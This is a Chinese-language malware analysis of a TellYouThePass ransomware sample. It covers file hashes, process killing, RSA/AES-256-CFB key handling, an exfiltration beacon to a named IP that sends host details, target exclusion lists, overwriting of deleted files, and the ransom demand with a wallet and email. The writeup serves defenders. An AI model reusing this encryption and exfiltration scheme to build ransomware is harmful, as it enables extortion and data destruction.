相关阅读:TellYouThePass勒索病毒家族
一、 样本信息
文件名:windowsm.exe
MD5:e1e41506da591e55cee1825494ac8f42
SHA1:55aeda88fcbc314cf26a2f2bf41a2400d044a8bd
二、 代码分析
1. 结束指定进程
病毒开始执行后,首先会执行以下多条cmd命令,完成以下工作:
(1) 删除C:\e.dat、C:\a.bat;
(2) 删除计划任务WM;
(3) 结束指定进程,包括数据库、office办公软件、制图工具、邮件软件等,解除相关数据文件的占用,以便于后续加密。
2. 用户密钥与用户id(personid)
在用户机器上为用户生成RSA-1024公私钥pk_user/sk_user,私钥sk_user转为PEM格式。接着导入内置的攻击者RSA-2048公钥pk_attacker,加密PEM格式的sk_user。加密结果经Base64编码之后作为用户id(personid),用于联系黑客恢复数据。
获取10字节的随机大小写字母串作为文件名(如”rkkOgDmJYH”),将personid写入文件<ALLUSERSPROFILE>\\<RandomAlphas>(如C:\\ProgramData\\ rkkOgDmJYH)。
3. 信息上传
开始搜索文件加密前,病毒将会连接IP:193.56.28.159:80,GET方式访问URI实现上传:”GET /jquery.js?v=999999&c=< CORE_NUM>&n=<LocalHostName>?i=<LocalIPList>”。各参数含义如下:
- v:加密文件数量,首次上传值为999999;
- c:机器CPU核数;
- n:主机名;
- i:本地非环回ip。
所有文件加密完成之后,发送加密结果给同一远程服务器。GET请求访问URI:”GET /jquery.js?v=<EncFileNum>&c=<Core_Num>&n=<LocalHostName>?i=<LocalIPList>”。只有v值发生变化,变为被加密的文件数量。
4. 搜索文件进行加密
当前样本只针对本地磁盘进行搜索加密。遍历A-Z,对有效磁盘搜索,进行文件名和文件扩展名类型匹配过滤。
路径中含有以下字符串的文件不进行加密,主要为了排除系统运行相关文件和目录、应用程序目录、用户目录等。
- EFI\\Boot
- README.html
- EFI\\Microsoft
- Windows
- Program Files
- All Users
- Boot
- IEidcache
- ProgramData
- desktop.ini
- autorun.inf
- netuset.dat
- iconcache.db
- thumbs.db
- Local Setting
- bootfont.bin
- System Volume Information
- AppData
- Recycle.Bin
对于可加密路径,样本根据被搜索目录中文件的扩展名进行加密目标识别。该勒索病毒指定类426中加密文件扩展名,包含大多数数据存储文件,如常见的数据库文件、office文件、压缩包、镜像文件等。
由于当前样本只对A-Z盘进行搜寻,未对网络资源进行查找,并且未删除卷影。如果在病毒传播过程中,其他模块未删除卷影备份或是对网络资源进行加密,用户可通过卷影或网络备份恢复数据。
5. 文件加密方式
样本会为每个文件创建一个goroutine进行文件加密。
加密文件时,将输出字符串”[+][CurFileIdx / TotalFiles]”,即当前加密文件在所有待加密文件中的序号。
加密时,待加密文件名加上扩展名”.locked”后作为新文件名进行创建,从原文件中读取的数据经加密后会被写入新文件。
为每个待加密文件生成32字节随机值作为AES-256加密密钥Key,16字节随机值作为初始向量IV。连接Key和IV,使用用户RSA公钥pk_user对连接后的48字节数据进行加密,加密结果128字节写入新文件首部。
文件内容加密采用AES-256对称加密算法,CFB模式。文件数据全部加密,每次从原文件读取约9.8MB内容到内存进行加密,加密结果写入新文件。
文件加密流程以及加密后文件结构如下图:
加密结束后,删除原文件,并再次生成同名空文件,向其中写入约1MB随机大小写字母,再次删除该文件。目的应该是为了将加密前的原文件数据彻底从磁盘中删除。
6. 加密情况记录
执行过程中,病毒会获取5字节随机大小写字母作为文件名,创建txt文件(如wmZnX.txt),用于记录文件被加密情况。
首先执行命令:whoami >> C:\\ProgramData\\wmZnX.txt”。命令whoami返回当前登录用户名,结果被写入wmZnX.txt。
加密过程中,文件是否成功加密的结果也会写入该文件中,可以从中找到被加密的文件名。
7. 勒索信息文件
该勒索病毒在所有被加密文件夹下放置勒索信息文件README.html。
文件中含有用户的personid(加密后的用户RSA私钥),以及支付赎金获取数据恢复的步骤。
黑客要求受害者先支付0.15个比特币到黑客比特币钱包(1KNve3fjHTMfg87YEdsxHktpsWRYRvaSU1),截屏支付界面后和personid一起发送到黑客邮箱(beautifulgirls@youknowmynameisbob.online),以获取解密工具。
|
|
|
|
评论
直达楼层